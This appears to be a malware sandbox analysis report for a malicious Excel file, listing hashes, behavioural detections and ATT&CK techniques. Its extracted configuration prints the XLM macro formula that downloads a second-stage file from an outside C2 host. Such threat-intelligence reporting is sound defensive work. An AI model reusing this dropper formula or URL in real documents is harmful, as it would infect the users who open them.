Overview

overview

10

Static

static

10

document-2...18.xls

windows7_x64

10

document-2...18.xls

windows10_x64

Sharing

Copy URL
Twitter E-mail

General

  • Target

    document-276294018.xls

  • Size

    39KB

  • Sample

    210305-c12zgglr7a

  • MD5

    74db1dc48bfec02acc0d1ba7c06a6975

  • SHA1

    ffe5ac1d5298065ab9401f249dfd13d8c5b0148c

  • SHA256

    0c67d3bbbc83212eb3bf5a085445c0ebc95235fd2d59b5abb1731d97a9190fab

  • SHA512

    c1b41a14003da71b2e0cfc9d18e016f9b970b4bb355603d8c1db3f6929bfaca29d69eb14d66b32a8d1f2448268a7ae20865faf9e08d95290e1112e36fd80e3dc

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://xjw10whta03ytgdi.com/inda.xls

Attributes
  • formulas

    =CALL("URLMon","URLDownloadToFileA","JJCCBB",0,"http://xjw10whta03ytgdi.com/inda.xls","..\fkruf.djr",0)

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://xjw10whta03ytgdi.com/inda.xls

Targets

    • Target

      document-276294018.xls

    • Size

      39KB

    • MD5

      74db1dc48bfec02acc0d1ba7c06a6975

    • SHA1

      ffe5ac1d5298065ab9401f249dfd13d8c5b0148c

    • SHA256

      0c67d3bbbc83212eb3bf5a085445c0ebc95235fd2d59b5abb1731d97a9190fab

    • SHA512

      c1b41a14003da71b2e0cfc9d18e016f9b970b4bb355603d8c1db3f6929bfaca29d69eb14d66b32a8d1f2448268a7ae20865faf9e08d95290e1112e36fd80e3dc

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks